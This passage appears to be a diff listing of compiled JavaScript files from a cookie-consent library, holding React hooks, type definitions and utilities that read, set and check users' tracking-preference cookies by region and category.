72
|
+
{
|
|
73
|
+
region: types_1.Region.EU,
|
|
74
|
+
framework: types_1.Framework.OPT_IN,
|
|
75
|
+
},
|
|
76
|
+
],
|
|
77
|
+
};
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const __1 = require("..");
|
|
7
|
+
const TrackingManagerContext_1 = require("../TrackingManagerContext");
|
|
8
|
+
const hasConsent_1 = __importDefault(require("../utils/hasConsent"));
|
|
9
|
+
const useHasConsent = (tracker) => {
|
|
10
|
+
const preference = (0, __1.useTrackingPreference)();
|
|
11
|
+
const { config } = (0, TrackingManagerContext_1.useTrackingManager)();
|
|
12
|
+
return (0, hasConsent_1.default)(tracker, config, preference);
|
|
13
|
+
};
|
|
14
|
+
exports.default = useHasConsent;
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const TrackingManagerContext_1 = require("../TrackingManagerContext");
|
|
4
|
+
const useRequiredCategories = () => {
|
|
5
|
+
const { config } = (0, TrackingManagerContext_1.useTrackingManager)();
|
|
6
|
+
return config.categories
|
|
7
|
+
.filter((c) => c.required)
|
|
8
|
+
.reduce((prev, v) => [...prev, v.id], []);
|
|
9
|
+
};
|
|
10
|
+
exports.default = useRequiredCategories;
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.useSavedTrackingPreference = exports.useSavedTrackingPreferenceFromMobileApp = void 0;
|
|
4
|
+
const react_1 = require("react");
|
|
5
|
+
const constants_1 = require("../constants");
|
|
6
|
+
const CookieContext_1 = require("../CookieContext");
|
|
7
|
+
const TrackingManagerContext_1 = require("../TrackingManagerContext");
|
|
8
|
+
const types_1 = require("../types");
|
|
9
|
+
const persistMobileAppPreferences_1 = require("../utils/persistMobileAppPreferences");
|
|
10
|
+
const useSavedTrackingPreferenceFromMobileApp = () => {
|
|
11
|
+
const { region } = (0, TrackingManagerContext_1.useTrackingManager)();
|
|
12
|
+
const [isMobileAppFromCookie] = (0, CookieContext_1.useCookie)(constants_1.IS_MOBILE_APP);
|
|
13
|
+
const isMobileAppFromQueryParams = (0, react_1.useMemo)(() => (0, persistMobileAppPreferences_1.getIsMobileAppFromQueryParams)(), []);
|
|
14
|
+
const isMobileApp = isMobileAppFromCookie || isMobileAppFromQueryParams;
|
|
15
|
+
const mobileAppPreference = (0, react_1.useMemo)(() => {
|
|
16
|
+
if (isMobileApp)
|
|
17
|
+
return {
|
|
18
|
+
region,
|
|
19
|
+
consent: [types_1.TrackingCategory.NECESSARY],
|
|
20
|
+
};
|
|
21
|
+
}, [isMobileApp, region]);
|
|
22
|
+
return mobileAppPreference;
|
|
23
|
+
};
|
|
24
|
+
exports.useSavedTrackingPreferenceFromMobileApp = useSavedTrackingPreferenceFromMobileApp;
|
|
25
|
+
const useSavedTrackingPreference = () => {
|
|
26
|
+
const { region, onError } = (0, TrackingManagerContext_1.useTrackingManager)();
|
|
27
|
+
const [euCookie] = (0, CookieContext_1.useCookie)(constants_1.EU_CONSENT_PREFERENCES_COOKIE);
|
|
28
|
+
const [defaultCookie] = (0, CookieContext_1.useCookie)(constants_1.DEFAULT_CONSENT_PREFERENCES_COOKIE);
|
|
29
|
+
const preference = region === types_1.Region.EU ? euCookie : defaultCookie;
|
|
30
|
+
if (!preference)
|
|
31
|
+
return;
|
|
32
|
+
if (!preference.region || !preference.consent) {
|
|
33
|
+
onError(new Error('Malformed preferences'));
|
|
34
|
+
return;
|
|
35
|
+
}
|
|
36
|
+
return preference;
|
|
37
|
+
};
|
|
38
|
+
exports.useSavedTrackingPreference = useSavedTrackingPreference;
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const react_1 = require("react");
|
|
7
|
+
const CookieContext_1 = require("../CookieContext");
|
|
8
|
+
const TrackingManagerContext_1 = require("../TrackingManagerContext");
|
|
9
|
+
const setTrackingPreference_1 = __importDefault(require("../utils/setTrackingPreference"));
|
|
10
|
+
const useRequiredCategories_1 = __importDefault(require("./useRequiredCategories"));
|
|
11
|
+
const useSetTrackingPreference = () => {
|
|
12
|
+
const { region, onPreferenceChange, onError } = (0, TrackingManagerContext_1.useTrackingManager)();
|
|
13
|
+
const setCookie = (0, CookieContext_1.useSetCookie)();
|
|
14
|
+
const requiredCategories = (0, useRequiredCategories_1.default)();
|
|
15
|
+
const changePreference = (0, react_1.useCallback)((preference) => {
|
|
16
|
+
const preferencesToSet = preference;
|
|
17
|
+
requiredCategories.forEach((c) => {
|
|
18
|
+
if (!preference.consent.includes(c)) {
|
|
19
|
+
onError(new Error(`Trying to remove category ${c} that is required`));
|
|
20
|
+
preferencesToSet.consent = [...preference.consent, c];
|
|
21
|
+
}
|
|
22
|
+
});
|
|
23
|
+
(0, setTrackingPreference_1.default)(setCookie, preferencesToSet, region, onPreferenceChange);
|
|
24
|
+
}, [onError, onPreferenceChange, region, requiredCategories, setCookie]);
|
|
25
|
+
return changePreference;
|
|
26
|
+
};
|
|
27
|
+
exports.default = useSetTrackingPreference;
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const TrackingManagerContext_1 = require("../TrackingManagerContext");
|
|
7
|
+
const getDefaultTrackingPreference_1 = __importDefault(require("../utils/getDefaultTrackingPreference"));
|
|
8
|
+
const useSavedTrackingPreference_1 = require("./useSavedTrackingPreference");
|
|
9
|
+
const useTrackingPreference = () => {
|
|
10
|
+
const preference = (0, useSavedTrackingPreference_1.useSavedTrackingPreference)();
|
|
11
|
+
const { region, config } = (0, TrackingManagerContext_1.useTrackingManager)();
|
|
12
|
+
if (!preference)
|
|
13
|
+
return (0, getDefaultTrackingPreference_1.default)(region, config);
|
|
14
|
+
return preference;
|
|
15
|
+
};
|
|
16
|
+
exports.default = useTrackingPreference;
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
export { TRACKER_CATEGORIES } from './constants';
|
|
2
|
+
export { useCookie } from './CookieContext';
|
|
3
|
+
export { default as useHasConsent } from './hooks/useHasConsent';
|
|
4
|
+
export { default as useRequiredCategories } from './hooks/useRequiredCategories';
|
|
5
|
+
export { useSavedTrackingPreference, useSavedTrackingPreferenceFromMobileApp, } from './hooks/useSavedTrackingPreference';
|
|
6
|
+
export { default as useSetTrackingPreference } from './hooks/useSetTrackingPreference';
|
|
7
|
+
export { default as useTrackingPreference } from './hooks/useTrackingPreference';
|
|
8
|
+
export { Provider } from './TrackingManagerContext';
|
|
9
|
+
export { useTrackingManager } from './TrackingManagerContext';
|
|
10
|
+
export { Framework, Region, TrackerType, TrackingCategory, TrackingPreference } from './types';
|
|
11
|
+
export { default as areCookiesEnabled } from './utils/areCookiesEnabled';
|
|
12
|
+
export { default as getDefaultTrackingPreference } from './utils/getDefaultTrackingPreference';
|
|
13
|
+
export { default as isOptOut } from './utils/isOptOut';
|
|
14
|
+
export { getIsMobileAppFromQueryParams, persistMobileAppPreferences, } from './utils/persistMobileAppPreferences';
|
package/dist/index.js
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.persistMobileAppPreferences = exports.getIsMobileAppFromQueryParams = exports.isOptOut = exports.getDefaultTrackingPreference = exports.areCookiesEnabled = exports.TrackingCategory = exports.TrackerType = exports.Region = exports.Framework = exports.useTrackingManager = exports.Provider = exports.useTrackingPreference = exports.useSetTrackingPreference = exports.useSavedTrackingPreferenceFromMobileApp = exports.useSavedTrackingPreference = exports.useRequiredCategories = exports.useHasConsent = exports.useCookie = exports.TRACKER_CATEGORIES = void 0;
|
|
7
|
+
var constants_1 = require("./constants");
|
|
8
|
+
Object.defineProperty(exports, "TRACKER_CATEGORIES", { enumerable: true, get: function () { return constants_1.TRACKER_CATEGORIES; } });
|
|
9
|
+
var CookieContext_1 = require("./CookieContext");
|
|
10
|
+
Object.defineProperty(exports, "useCookie", { enumerable: true, get: function () { return CookieContext_1.useCookie; } });
|
|
11
|
+
var useHasConsent_1 = require("./hooks/useHasConsent");
|
|
12
|
+
Object.defineProperty(exports, "useHasConsent", { enumerable: true, get: function () { return __importDefault(useHasConsent_1).default; } });
|
|
13
|
+
var useRequiredCategories_1 = require("./hooks/useRequiredCategories");
|
|
14
|
+
Object.defineProperty(exports, "useRequiredCategories", { enumerable: true, get: function () { return __importDefault(useRequiredCategories_1).default; } });
|
|
15
|
+
var useSavedTrackingPreference_1 = require("./hooks/useSavedTrackingPreference");
|
|
16
|
+
Object.defineProperty(exports, "useSavedTrackingPreference", { enumerable: true, get: function () { return useSavedTrackingPreference_1.useSavedTrackingPreference; } });
|
|
17
|
+
Object.defineProperty(exports, "useSavedTrackingPreferenceFromMobileApp", { enumerable: true, get: function () { return useSavedTrackingPreference_1.useSavedTrackingPreferenceFromMobileApp; } });
|
|
18
|
+
var useSetTrackingPreference_1 = require("./hooks/useSetTrackingPreference");
|
|
19
|
+
Object.defineProperty(exports, "useSetTrackingPreference", { enumerable: true, get: function () { return __importDefault(useSetTrackingPreference_1).default; } });
|
|
20
|
+
var useTrackingPreference_1 = require("./hooks/useTrackingPreference");
|
|
21
|
+
Object.defineProperty(exports, "useTrackingPreference", { enumerable: true, get: function () { return __importDefault(useTrackingPreference_1).default; } });
|
|
22
|
+
var TrackingManagerContext_1 = require("./TrackingManagerContext");
|
|
23
|
+
Object.defineProperty(exports, "Provider", { enumerable: true, get: function () { return TrackingManagerContext_1.Provider; } });
|
|
24
|
+
var TrackingManagerContext_2 = require("./TrackingManagerContext");
|
|
25
|
+
Object.defineProperty(exports, "useTrackingManager", { enumerable: true, get: function () { return TrackingManagerContext_2.useTrackingManager; } });
|
|
26
|
+
var types_1 = require("./types");
|
|
27
|
+
Object.defineProperty(exports, "Framework", { enumerable: true, get: function () { return types_1.Framework; } });
|
|
28
|
+
Object.defineProperty(exports, "Region", { enumerable: true, get: function () { return types_1.Region; } });
|
|
29
|
+
Object.defineProperty(exports, "TrackerType", { enumerable: true, get: function () { return types_1.TrackerType; } });
|
|
30
|
+
Object.defineProperty(exports, "TrackingCategory", { enumerable: true, get: function () { return types_1.TrackingCategory; } });
|
|
31
|
+
var areCookiesEnabled_1 = require("./utils/areCookiesEnabled");
|
|
32
|
+
Object.defineProperty(exports, "areCookiesEnabled", { enumerable: true, get: function () { return __importDefault(areCookiesEnabled_1).default; } });
|
|
33
|
+
var getDefaultTrackingPreference_1 = require("./utils/getDefaultTrackingPreference");
|
|
34
|
+
Object.defineProperty(exports, "getDefaultTrackingPreference", { enumerable: true, get: function () { return __importDefault(getDefaultTrackingPreference_1).default; } });
|
|
35
|
+
var isOptOut_1 = require("./utils/isOptOut");
|
|
36
|
+
Object.defineProperty(exports, "isOptOut", { enumerable: true, get: function () { return __importDefault(isOptOut_1).default; } });
|
|
37
|
+
var persistMobileAppPreferences_1 = require("./utils/persistMobileAppPreferences");
|
|
38
|
+
Object.defineProperty(exports, "getIsMobileAppFromQueryParams", { enumerable: true, get: function () { return persistMobileAppPreferences_1.getIsMobileAppFromQueryParams; } });
|
|
39
|
+
Object.defineProperty(exports, "persistMobileAppPreferences", { enumerable: true, get: function () { return persistMobileAppPreferences_1.persistMobileAppPreferences; } });
|
package/dist/types.d.ts
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
import { CookieAttributes } from 'js-cookie';
|
|
2
|
+
export type ErrorFunction = (error: Error, metadata?: {
|
|
3
|
+
[key: string]: any;
|
|
4
|
+
}) => void;
|
|
5
|
+
export type SetCookieFunction = (value: any, options?: CookieAttributes) => void;
|
|
6
|
+
export type LogFunction = (str: string, options?: Record<string, any>) => void;
|
|
7
|
+
export declare enum Region {
|
|
8
|
+
EU = "EU",
|
|
9
|
+
DEFAULT = "DEFAULT"
|
|
10
|
+
}
|
|
11
|
+
export declare enum TrackingCategory {
|
|
12
|
+
FUNCTIONAL = "functional",
|
|
13
|
+
NECESSARY = "necessary",
|
|
14
|
+
TARGETING = "targeting",
|
|
15
|
+
PERFORMANCE = "performance",
|
|
16
|
+
DELETE_IF_SEEN = "delete-if-seen"
|
|
17
|
+
}
|
|
18
|
+
export type TrackingPreference = {
|
|
19
|
+
region: Region;
|
|
20
|
+
consent: Array<TrackingCategory>;
|
|
21
|
+
};
|
|
22
|
+
export declare enum Framework {
|
|
23
|
+
OPT_OUT = "optOut",
|
|
24
|
+
OPT_IN = "optIn"
|
|
25
|
+
}
|
|
26
|
+
export type GeolocationRule = {
|
|
27
|
+
region: Region;
|
|
28
|
+
framework: Framework;
|
|
29
|
+
};
|
|
30
|
+
export declare enum TrackerType {
|
|
31
|
+
COOKIE = "cookie",
|
|
32
|
+
QUERY = "query",
|
|
33
|
+
PIXEL = "pixel",
|
|
34
|
+
BEACON = "beacon"
|
|
35
|
+
}
|
|
36
|
+
export type Tracker = {
|
|
37
|
+
id: string;
|
|
38
|
+
type: TrackerType;
|
|
39
|
+
regex?: string;
|
|
40
|
+
};
|
|
41
|
+
export type ConfigCategoryInfo = {
|
|
42
|
+
id: TrackingCategory;
|
|
43
|
+
trackers: Array<Tracker>;
|
|
44
|
+
required?: boolean;
|
|
45
|
+
};
|
|
46
|
+
export type Config = {
|
|
47
|
+
categories: Array<ConfigCategoryInfo>;
|
|
48
|
+
};
|
|
49
|
+
export type TrackingManagerDependencies = {
|
|
50
|
+
onError: ErrorFunction;
|
|
51
|
+
projectName: string;
|
|
52
|
+
locale: string;
|
|
53
|
+
region: Region;
|
|
54
|
+
onPreferenceChange?: (preference: TrackingPreference) => void;
|
|
55
|
+
config: Config;
|
|
56
|
+
shadowMode?: boolean;
|
|
57
|
+
log: LogFunction;
|
|
58
|
+
};
|
|
59
|
+
export type AdTrackingPreference = {
|
|
60
|
+
value: boolean;
|
|
61
|
+
updated_at?: number;
|
|
62
|
+
};
|
package/dist/types.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.TrackerType = exports.Framework = exports.TrackingCategory = exports.Region = void 0;
|
|
4
|
+
var Region;
|
|
5
|
+
(function (Region) {
|
|
6
|
+
Region["EU"] = "EU";
|
|
7
|
+
Region["DEFAULT"] = "DEFAULT";
|
|
8
|
+
})(Region || (exports.Region = Region = {}));
|
|
9
|
+
var TrackingCategory;
|
|
10
|
+
(function (TrackingCategory) {
|
|
11
|
+
TrackingCategory["FUNCTIONAL"] = "functional";
|
|
12
|
+
TrackingCategory["NECESSARY"] = "necessary";
|
|
13
|
+
TrackingCategory["TARGETING"] = "targeting";
|
|
14
|
+
TrackingCategory["PERFORMANCE"] = "performance";
|
|
15
|
+
TrackingCategory["DELETE_IF_SEEN"] = "delete-if-seen";
|
|
16
|
+
})(TrackingCategory || (exports.TrackingCategory = TrackingCategory = {}));
|
|
17
|
+
var Framework;
|
|
18
|
+
(function (Framework) {
|
|
19
|
+
Framework["OPT_OUT"] = "optOut";
|
|
20
|
+
Framework["OPT_IN"] = "optIn";
|
|
21
|
+
})(Framework || (exports.Framework = Framework = {}));
|
|
22
|
+
var TrackerType;
|
|
23
|
+
(function (TrackerType) {
|
|
24
|
+
TrackerType["COOKIE"] = "cookie";
|
|
25
|
+
TrackerType["QUERY"] = "query";
|
|
26
|
+
TrackerType["PIXEL"] = "pixel";
|
|
27
|
+
TrackerType["BEACON"] = "beacon";
|
|
28
|
+
})(TrackerType || (exports.TrackerType = TrackerType = {}));
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const js_cookie_1 = __importDefault(require("js-cookie"));
|
|
7
|
+
const TEST_COOKIE = 'test_cookie';
|
|
8
|
+
const areCookiesEnabled = () => {
|
|
9
|
+
js_cookie_1.default.set(TEST_COOKIE, 'test');
|
|
10
|
+
const result = !!js_cookie_1.default.get(TEST_COOKIE);
|
|
11
|
+
js_cookie_1.default.remove(TEST_COOKIE);
|
|
12
|
+
return result;
|
|
13
|
+
};
|
|
14
|
+
exports.default = areCookiesEnabled;
|